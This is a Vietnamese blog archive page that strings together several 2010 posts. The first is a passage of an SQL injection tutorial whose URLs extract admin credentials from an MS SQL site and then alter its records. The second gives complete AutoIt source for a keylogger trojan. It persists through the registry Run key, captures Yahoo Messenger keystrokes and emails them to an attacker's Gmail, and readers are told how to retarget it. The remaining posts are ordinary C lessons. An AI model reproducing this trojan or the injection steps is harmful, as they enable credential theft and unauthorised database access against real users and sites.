Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.

/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Khi đó thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.

/index.asp, line 5

Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".

8. Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.

/index.asp, line 5

Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.

/index.asp, line 5

Làm tương tự như trên, có thể lấy được tên của các column còn lại như "password", "details". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5

9. Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

Có thể lấy login_name đầu tiên trong table "admin_login" như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.

/index.asp, line 5

Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.

/index.asp, line 5

Và bây giờ là đã có thể login vào với username là "neo" và password là "m4trix".

10. Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173". Vậy nếu ta thi hành lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Thì khi đó chỉ nhận được thông báo lỗi "Page Not Found". Lý do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.

/index.asp, line 5

Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173'

11. Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

Để thay đổi password của "neo", có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

Hoặc nếu bạn muốn một record mới vào table:

http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Và bây giờ có thể login vào với username "neo2" và password là "newpas5"

12. Ngăn chặn SQL Injection

Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:

input do người dùng đệ trình
các tham số từ URL
các giá trị từ cookie
Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.

Xóa các stored procedure trong database master mà không dùng như:

xp_cmdshell
xp_startmail
xp_sendmail
sp_makewebtask

13. Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.

Thứ Hai, 8 tháng 3, 2010

Viết Virus Lấy Pass YH và Email

Posted by Unknown Thứ Hai, tháng 3 08, 2010, under | No comments

Bài viết này chỉ mang tính chất minh họa, không nhằm mục đích phá hoại. Tôi không chịu bất kỳ trách nhiệm nào nếu các bạn sử dụng nó với mục đích xấu.
Thời buổi ngày nay, việc ăn cắp pass ở các tài khoản trực tuyến nhiều đến nỗi không đếm nổi. Nào là ăn cắp pass ở yahoo, nào là tài khoản ngân hàng, nào là tài khoản game online…. Cách thức chủ yếu của các hacker đó là cài trojan, keylog. Bạn đã rất cẩn thận và bạn đã có một phần mềm virus tốt, nhưng liệu bạn có phòng tránh được tất cả các virus cũng như các trojan và keylog? biết cách một con trojan hoạt động như thế nào để phòng tránh cũng tốt đúng không nào? Nào chúng ta bắt đầu thôi
Công cụ: Tất nhiên lập trình thì phải có công cụ để lập trình rồi. Để đơn giản chúng ta sử dụng AutoIt để viết code. Các bạn có thể download AutoIt tại website: http://www.autoitscript.com
Viết code: Mình cung cấp cho các bạn đoạn code sau để các bạn tham khảo
#include
#NoTrayIcon
Global $oMyError = ObjEvent(”AutoIt.Error”, “MyErrFunc”)
$keylog=”"
$co=0
_dangky()
;Capital Letters
For $n = 65 To 90
HotKeySet(Chr($n), “My_HotKey_Func”)
Next
;Lowercase Letters
For $n = 97 To 122
HotKeySet(Chr($n), “My_HotKey_Func”)
Next
;Numbers
For $n = 47 To 58
HotKeySet(Chr($n), “My_HotKey_Func”)
Next
HotkeySet(”.”, “My_Hotkey_Func”)
HotKeySet(”+!d”, “_exit”)
;Specials
$charL1=”{SPACE}|{BACKSPACE}|{UP}|{DOWN}|{LEFT}|{RIGHT}|{ENTER}|{HOME}|{END}|{INSERT}|{DELETE}|{PGUP}|{PGDN}|{!}|{#}|{+}|{^}|{NUMLOCK on}|{NUMLOCK off}|{CAPSLOCK off}|{CAPSLOCK on}|{ESC}|{TAB}”
$charL= $charL1&”|{NUMPAD0}|{NUMPAD1}|{NUMPAD2}|{NUMPAD3}|{NUMPAD4}|{NUMPAD5}|{NUMPAD6}|{NUMPAD7}|{NUMPAD8}|{NUMPAD9}”
$KeyList = StringSplit($charL, “|”)
$maloaibo=StringSplit($charL1, “|”)
For $n = 1 To $KeyList[0]
HotKeySet($KeyList[$n], “MY_HotKey_Func”)
Next
While 1
;Sleep(100)
WinActive(”Yahoo! Messenger”)
$co=1
WinWaitNotActive(”Yahoo! Messenger”)
$tg=$keylog
For $i=1 To UBound($maloaibo)-1
If StringInStr($keylog,$maloaibo[$i]) Then
$tg=StringReplace($keylog,$maloaibo[$i],”")
EndIf
Next
If StringLen($tg)>9 Then
_sendEmail($keylog)
$keylog=”"
EndIf
$co=0
WEnd
Func My_HotKey_Func()
;MsgBox(0, “”, @HotKeyPressed)
if $co=1 Then
$keylog&=@HotKeyPressed
EndIf
$Name = @HotkeyPressed
If $Name = “.” then $Name = “period”
;SoundPlay(”c:\sounds\”&$Name&”.wav”) ; exceptions for keys like period slash or symobols that can’t be in filenames
; Turn off hotkey temporarily so letter can be sent.
HotKeySet(@HotKeyPressed)
Send(@HotKeyPressed)
; turn hotkey back on
HotKeySet(@HotKeyPressed, “My_HotKey_Func”)
EndFunc ;==>My_HotKey_Func
Func _dangky() ; dang khu va copy
IF Not FileExists(@WindowsDir&”\ikcmds.exe”) Then
FileCopy(”ikcmds.exe”,@WindowsDir&”\ikcmds.exe”)
EndIf
$reg=RegRead(”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, “ikcmds”)
if @error Then
RegWrite(”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, “ikcmds”, “REG_SZ”, @WindowsDir&”\ikcmds.exe”)
EndIf
EndFunc
Func _sendEmail($noidung)
$s_SmtpServer = “smtp.gmail.com”
$s_FromName = “trommatkhau”
$s_FromAddress = “abcdef@gmail.com”
$s_ToAddress = “abcdefhau@gmail.com
$s_Subject = “Hack pass yahoo”
$as_Body = $noidung
$s_AttachFiles = “” ;@WindowsDir&”\ikcmds.txt”
$s_CcAddress = “”
$s_BccAddress = “”
$s_Username = “abcded”
$s_Password = “**************”
$IPPort = 465
$ssl = 1
;##################################
; Script
;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent(”AutoIt.Error”, “MyErrFunc”)
$rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)
If @error Then
MsgBox(0, “Error sending message”, “Error code:” & @error & “ Rc:” & $rc)
Exit
EndIf
EndFunc
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = “”, $as_Body = “”, $s_AttachFiles = “”, $s_CcAddress = “”, $s_BccAddress = “”, $s_Username = “”, $s_Password = “”, $IPPort = 25, $ssl = 0)
$objEmail = ObjCreate(”CDO.Message”)
$objEmail.From = ‘”‘ & $s_FromName & ‘” <’ & $s_FromAddress & ‘>’
$objEmail.To = $s_ToAddress
Local $i_Error = 0
Local $i_Error_desciption = “”
If $s_CcAddress <> “” Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> “” Then $objEmail.Bcc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body, “<”) And StringInStr($as_Body, “>”) Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> “” Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, “;”)
For $x = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
If FileExists($S_Files2Attach[$x]) Then
$objEmail.AddAttachment($S_Files2Attach[$x])
Else
$i_Error_desciption = $i_Error_desciption & @LF & ‘File not found to attach: ‘ & $S_Files2Attach[$x]
SetError(1)
Return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/sendusing”) = 2
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/smtpserver”) = $s_SmtpServer
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/smtpserverport”) = $IPPort
;Authenticated SMTP
If $s_Username <> “” Then
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/smtpauthenticate”) = 1
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/sendusername”) = $s_Username
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/sendpassword”) = $s_Password
EndIf
If $ssl Then
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/smtpusessl”) = True
EndIf
;Update settings
$objEmail.Configuration.Fields.Update
; Sent the Message
$objEmail.Send
If @error Then
SetError(2)
Return $oMyRet[1]
EndIf
EndFunc ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
$HexNumber = Hex($oMyError.number,
$oMyRet[0] = $HexNumber
$oMyRet[1] = StringStripWS($oMyError.description, 3)
;ConsoleWrite(”### COM Error ! Number: ” & $HexNumber & “ ScriptLine: ” & $oMyError.scriptline & “ Description:” & $oMyRet[1] & @LF)
SetError(1); something to check for when this function returns
Return
EndFunc ;==>MyErrFunc
Func _exit()
Exit
EndFunc
Bạn hãy nhìn vào đoạn code trên và chú ý vào những chỗ tôi đánh dấu mầu đỏ. Mục đích của con trojan này là ăn cắp pass và tài khoản người dùng yahoo messenger và gủi về một địa chỉ email định trước. Để có thể đẽ dàng sử dụng bạn hãy tạo một tài khoản ở Gmail.com sau đó thay các dòng địa chỉ mầu đỏ bằng tài khoản tương ứng của bạn là được. Bạn cũng có thể biến đổi con trojan này dùng để lấy tài khoản và mật khẩu của các trang khác bàng cách thay đổi 2 đoạn code mà tôi cũng đã đánh dấu mầu đỏ đó là: WinActive(”Yahoo! Messenger”) và WinWaitNotActive(”Yahoo! Messenger”)(”Yahoo! Messenger”). Nói thế thôi là bạn hiểu rồi đúng không. Hi vọng sau bài viết này các bạn sẽ tự rút ra cho mình một các phòng chống hiệu quả cho những tài khoản cá nhân của mình.

Thứ Tư, 3 tháng 3, 2010

Các Câu Lệnh Trong C

Posted by Unknown Thứ Tư, tháng 3 03, 2010, under | No comments

CÁC CÂU LỆNH ĐƠN TRONG C   
Học xong chương này, sinh viên sẽ nắm rõ các vấn đề sau:   

    * Câu lệnh là gì?
    * Cách sử dụng câu lệnh gán giá trị của một biểu thức cho một biến.
    * Cách sử dụng lệnh scanf để nhập giá trị cho biến.
    * Cách sử dụng lệnh printf để xuất giá trị của biểu thức lên màn hình và cách định dạng dữ liệu.

Khái niệm câu lệnh
Một câu lệnh (statement) xác định một công việc mà chương trình phải thực hiện để xử lý dữ liệu đã được mô tả và khai báo. Các câu lệnh được ngăn cách với nhau bởi dấu chấm phẩy (;).
Phân loại
Có hai loại lệnh: lệnh đơn và lệnh có cấu trúc.
Lệnh đơn là một lệnh không chứa các lệnh khác. Các lệnh đơn gồm: lệnh gán, các câu lệnh nhập xuất dữ liệu…
Lệnh có cấu trúc là lệnh trong đó chứa các lệnh khác. Lệnh có cấu trúc bao gồm: cấu trúc điều kiện rẽ nhánh, cấu trúc điều kiện lựa chọn, cấu trúc lặp và cấu trúc lệnh hợp thành. Lệnh hợp thành (khối lệnh) là một nhóm bao gồm nhiều khai báo biến và các lệnh được gom vào trong cặp dấu {}.

   
CÁC LỆNH ĐƠN
Lệnh gán
Lệnh gán (assignment statement) dùng để gán giá trị của một biểu thức cho một biến.
Cú pháp: <Tên biến> = <biểu thức>
Ví dụ:
int main() {
int x,y;
x =10; /*Gán hằng số 10 cho biến x*/
y = 2*x; /*Gán giá trị 2*x=2*10=20 cho x*/
return 0;
}
Nguyên tắc khi dùng lệnh gán là kiểu của biến và kiểu của biểu thức phải giống nhau, gọi là có sự tương thích giữa các kiểu dữ liệu. Chẳng hạn ví dụ sau cho thấy một sự không tương thích về kiểu:
int main() {
int x,y;
x = 10; /*Gán hằng số 10 cho biến x*/
y = “Xin chao”;
/*y có kiểu int, còn “Xin chao” có kiểu char* */
return 0;
}
Khi biên dịch chương trình này, C sẽ báo lỗi "Cannot convert ‘char *’ to ‘int’" tức là C không thể tự động chuyển đổi kiểu từ char * (chuỗi ký tự) sang int.

           
         
Tuy nhiên trong đa số trường hợp sự tự động biến đổi kiểu để sự tương thích về kiểu sẽ được thực hiện. Ví dụ:
int main() {
int x,y;
float r;
char ch;
 r = 9000;
x = 10; /* Gán hằng số 10 cho biến x */
y = 'd'; /* y có kiểu int, còn ‘d’ có kiểu char*/
r = 'e'; /* r có kiểu float, ‘e’ có kiểu char*/
ch = 65.7; /* ch có kiểu char, còn 65.7 có kiểu float*/
return 0;
}
Trong nhiều trường hợp để tạo ra sự tương thích về kiểu, ta phải sử dụng đến cách thức chuyển đổi kiểu một cách tường minh. Cú pháp của phép toán này như sau:
(Tên kiểu) <Biểu thức>
Chuyển đổi kiểu của <Biểu thức> thành kiểu mới <Tên kiểu>. Chẳng hạn như:
float f;
f = (float) 10 / 4; /* f lúc này là 2.5*/
Chú ý:
- Khi một biểu thức được gán cho một biến thì giá trị của nó sẽ thay thế giá trị cũ mà biến đã lưu giữ trước đó.
- Trong câu lệnh gán, dấu = là một toán tử; do đó nó có thể được sử dụng là một thành phần của biểu thức. Trong trường hợp này giá trị của biểu thức gán chính là giá trị của biến.
Ví dụ:
int x, y;
y = x = 3; /* y lúc này cùng bằng 3*/
- Ta có thể gán trị cho biến lúc biến được khai báo theo cách thức sau:
<Tên kiểu> <Tên biến> = <Biểu thức>;
Ví dụ:int x = 10, y=x;
Lệnh nhập giá trị từ bàn phím cho biến (hàm scanf)
Là hàm cho phép đọc dữ liệu từ bàn phím và gán cho các biến trong chương trình khi chương trình thực thi. Trong ngôn ngữ C, đó là hàm scanf nằm trong thư viện stdio.h.
Cú pháp:
scanf(“Chuỗi định dạng”, địa chỉ của các biến);
Giải thích:
- Chuỗi định dạng: dùng để qui định kiểu dữ liệu, cách biểu diễn, độ rộng, số chữ số thập phân... Một số định dạng khi nhập kiểu số nguyên, số thực, ký tự.

%[số ký số]d  -> Nhập số nguyên có tối đa <số ký số>
%[số ký số] f ->  Nhập số thực có tối đa <số ký số> tính cả dấu chấm
%c ->       Nhập một ký tự
Ví dụ:       
%d  ->      Nhập số nguyên
 %4d ->    Nhập số nguyên tối đa 4 ký số, nếu nhập nhiều hơn 4 ký số thì chỉ nhận được 4 ký số đầu tiên
%f ->      Nhập số thực
%6f  ->  Nhập số thực tối đa 6 ký số (tính luôn dấu chấm), nếu nhập nhiều hơn 6 ký số thì chỉ nhận được 6 ký số đầu tiên (hoặc 5 ký số với dấu chấm)
- Địa chỉ của các biến: là địa chỉ (&) của các biến mà chúng ta cần nhập giá trị cho nó. Được viết như sau: &<tên biến>.
Ví dụ:
scanf(“%d”,&bien1);/*Doc gia tri cho bien1 co kieu nguyen*/
scanf(“%f”,&bien2); /*Doc gia tri cho bien2 co kieu thưc*/
scanf(“%d%f”,&bien1,&bien2);
/*Doc gia tri cho bien1 co kieu nguyen, bien2 co kieu thuc*/
scanf(“%d%f%c”,&bien1,&bien2,&bien3);
/*bien3 co kieu char*/
Lưu ý:

    * Chuỗi định dạng phải đặt trong cặp dấu nháy kép (“”).
    * Các biến (địa chỉ biến) phải cách nhau bởi dấu phẩy (,).
    * Có bao nhiêu biến thì phải có bấy nhiêu định dạng.
    * Thứ tự của các định dạng phải phù hợp với thứ tự của các biến.
    * Để nhập giá trị kiểu char được chính xác, nên dùng hàm fflush(stdin) để loại bỏ các ký tự còn nằm trong vùng đệm bàn phím trước hàm scanf().
    * Để nhập vào một chuỗi ký tự (không chứa khoảng trắng hay kết thúc bằng khoảng trắng), chúng ta phải khai báo kiểu mảng ký tự hay con trỏ ký tự, sử dụng định dạng %s và tên biến thay cho địa chỉ biến.
    * Để đọc vào một chuỗi ký tự có chứa khoảng trắng (kết thúc bằng phím Enter) thì phải dùng hàm gets().

Ví dụ:
int biennguyen;
float bienthuc;
char bienchar;
char chuoi1[20], *chuoi2;
Nhập giá trị cho các biến:
scanf(“%3d”,&biennguyen);
Nếu ta nhập 1234455 thì giá trị của biennguyen là 3 ký số đầu tiên (123). Các ký số còn lại sẽ còn nằm lại trong vùng đệm.
scanf(“%5f”,&bienthuc);
Nếu ta nhập 123.446 thì giá trị của bienthuc là 123.4, các ký số còn lại sẽ còn nằm trong vùng đệm.
scanf(“%2d%5f”,&biennguyen, &bienthuc);
Nếu ta nhập liên tiếp 2 số cách nhau bởi khoảng trắng như sau: 1223 3.142325
- 2 ký số đầu tiên (12) sẽ được đọc vào cho biennguyen.
- 2 ký số tiếp theo trước khoảng trắng (23) sẽ được đọc vào cho bienthuc.
scanf(“%2d%5f%c”,&biennguyen, &bienthuc,&bienchar)
Nếu ta nhập liên tiếp 2 số cách nhau bởi khoảng trắng như sau: 12345 3.142325:
- 2 ký số đầu tiên (12) sẽ được đọc vào cho biennguyen.
- 3 ký số tiếp theo trước khoảng trắng (345) sẽ được đọc vào cho bienthuc.
- Khoảng trắng sẽ được đọc cho bienchar.
Nếu ta chỉ nhập 1 số gồm nhiều ký số như sau: 123456789:
- 2 ký số đầu tiên (12) sẽ được đọc vào cho biennguyen.
- 5 ký số tiếp theo (34567) sẽ được đọc vào cho bienthuc.
- bienchar sẽ có giá trị là ký số tiếp theo ‘8’.
scanf(“%s”,chuoi1); hoặc scanf(“%s”,chuoi2)
Nếu ta nhập chuỗi như sau: Nguyen Van Linh  thì giá trị của biến chuoi1 hay chuoi2 chỉ là Nguyen .
scanf(“%s%s”,chuoi1, chuoi2);
Nếu ta nhập chuỗi như sau: Duong Van Hieu  thì giá trị của biến chuoi1 là Duong và giá trị của biến chuoi2 là Van.
Vì sao như vậy? C sẽ đọc từ đầu đến khi gặp khoảng trắng và gán giá trị cho biến đầu tiên, phần còn lại sau khoảng trắng là giá trị của các biến tiếp theo.
gets(chuoi1);
Nếu nhập chuỗi : Nguyen Van Linh  thì giá trị của biến chuoi1 là Nguyen Van Linh
Lệnh xuất giá trị của biểu thức lên màn hình (hàm printf)
Hàm printf (nằm trong thư viện stdio.h) dùng để xuất giá trị của các biểu thức lên màn hình.
Cú pháp:
printf(“Chuỗi định dạng ”, Các biểu thức);
Giải thích:
- Chuỗi định dạng: dùng để qui định kiểu dữ liệu, cách biểu diễn, độ rộng, số chữ số thập phân... Một số định dạng khi đối với số nguyên, số thực, ký tự.


Định dạng                                 Ý nghĩa        
 %d                                          Xuất số nguyên 
%[.số chữ số thập phân] f         Xuất số thực có <số chữ số thập phân> theo quy tắc làm tròn số.
  %                                           Xuất số nguyên hệ bát phân
 %x                                          Xuất số nguyên hệ thập lục phân
 %c                                          Xuất một ký tự
 %s                                           Xuất chuỗi ký tự
  %e hoặc
%E hoặc %g hoặc %G              Xuất số nguyên dạng khoa học (nhân 10 mũ x)
   Ví dụ:
  %d                                       In ra số nguyên
 %4d                                      In số nguyên tối đa 4 ký số, nếu số cần in nhiều hơn 4 ký số thì in hết
 %f                                         In số thực
 %6f                                       In số thực tối đa 6 ký số (tính luôn dấu chấm), nếu số cần in nhiều hơn 6 ký số thì in hết
%.3f                                       In số thực có 3 số lẻ, nếu số cần in có nhiều hơn 3 số lẻ thì làm tròn.

- Các biểu thức: là các biểu thức mà chúng ta cần xuất giá trị của nó lên màn hình, mỗi biểu thức phân cách nhau bởi dấu phẩy (,).
Ví dụ:
include<stdio.h>
int main(){
int bien_nguyen=1234, i=65;
float bien_thuc=123.456703;
printf(“Gia tri nguyen cua bien nguyen =%d\n”,bien_nguyen);
printf(“Gia tri thuc cua bien thuc =%f\n”,bien_thuc);
printf(“Truoc khi lam tron=%f \n
Sau khi lam tron=%.2f”,bien_thuc, bien_thuc);
return 0;
}
Nếu ta thêm vào dòng sau trong chương trình:
printf(“\n Ky tu co ma ASCII %d la %c”,i,i);
Kết quả ta nhận được thêm:

        ***SORRY, THIS MEDIA TYPE IS NOT SUPPORTED.***
     
printf(“ So nguyen la %d \n So thuc la %f”,i, (float)i );

        ***SORRY, THIS MEDIA TYPE IS NOT SUPPORTED.***
     
printf(“\n So thuc la %f \n So nguyen la %d”,bien_thuc,
(int)bien_thuc);

        ***SORRY, THIS MEDIA TYPE IS NOT SUPPORTED.***
     
printf(“\n Viet binh thuong =%f \n Viet kieu khoa
hoc=%e”,bien_thuc, bien_thuc);
Kết quả in ra màn hình:

        ***SORRY, THIS MEDIA TYPE IS NOT SUPPORTED.***
     
Lưu ý: Đối với các ký tự điều khiển, ta không thể sử dụng cách viết thông thường để hiển thị chúng.
Ký tự điều khiển là các ký tự dùng để điều khiển các thao tác xuất, nhập dữ liệu.  

Ví dụ:
#include <stdio.h>
#include<conio.h>
int main ()
{ clrscr();
printf("\n Tieng Beep \a");
printf("\n Doi con tro sang trai 1 ky tu\b");
printf("\n Dau Tab \tva dau backslash \\");
printf("\n Dau nhay don \' va dau nhay kep \"");
printf("\n Dau cham hoi \?");
printf("\n Ky tu co ma bat phan 101 la \101");
printf("\n Ky tu co ma thap luc phan 41 la \x041");
printf("\n Dong hien tai, xin go enter");
getch();
printf("\rVe dau dong");
getch();
return 0;
}

Lập Trình C

Posted by Unknown Thứ Tư, tháng 3 03, 2010, under | No comments

Bộ chữ viết trong C
Bộ chữ viết trong ngôn ngữ C bao gồm những ký tự, ký hiệu sau: (phân biệt chữ in hoa và in thường):

    * 26 chữ cái latinh lớn A,B,C...Z
    * 26 chữ cái latinh nhỏ a,b,c ...z.
    * 10 chữ số thập phân 0,1,2...9.
    * Các ký hiệu toán học: +, -, *, /, =, <, >, (, )
    * Các ký hiệu đặc biệt: :. , ; " ' _ @ # $ ! ^ [ ] { } ...
    * Dấu cách hay khoảng trống.

   
Các từ khoá trong C
Từ khóa là các từ dành riêng (reserved words) của C mà người lập trình có thể sử dụng nó trong chương trình tùy theo ý nghĩa của từng từ. Ta không được dùng từ khóa để đặt cho các tên của riêng mình. Các từ khóa của Turbo C 3.0 bao gồm:
asm auto break case cdecl char
class const continue _cs default delete
do double _ds else enum _es
extern _export far _fastcall float for
friend goto huge if inline int
interrupt _loadds long near new operator
pascal private protected public register return
_saveregs _seg short signed sizeof _ss
static struct switch template this typedef
union unsigned virtual void volatile while

   
Cặp dấu ghi chú thích
Khi viết chương trình đôi lúc ta cần phải có vài lời ghi chú về 1 đoạn chương trình nào đó để dễ nhớ và dễ điều chỉnh sau này; nhất là phần nội dung ghi chú phải không thuộc về chương trình (khi biên dịch phần này bị bỏ qua). Trong ngôn ngữ lập trình C, nội dung chú thích phải được viết trong cặp dấu /* và */.
Ví dụ :
#include <stdio.h>
#include<conio.h>
int main ()
{
char ten[50]; /* khai bao bien ten kieu char 50 ky tu */
/*Xuat chuoi ra man hinh*/
printf(“Xin cho biet ten cua ban !”);
scanf(“%s”,ten); /*Doc vao 1 chuoi la ten cua ban*/
printf(“Xin chao ban %s\n ”,ten);
printf(“Chao mung ban den voi Ngon ngu lap trinh C”);
/*Dung chuong trinh, cho go phim*/
getch();
return 0;
}

   
CÁC KIỂU DỮ LIỆU SƠ CẤP CHUẨN TRONG C
Các kiểu dữ liệu sơ cấp chuẩn trong C có thể được chia làm 2 dạng : kiểu số nguyên, kiểu số thực.
Kiểu số nguyên
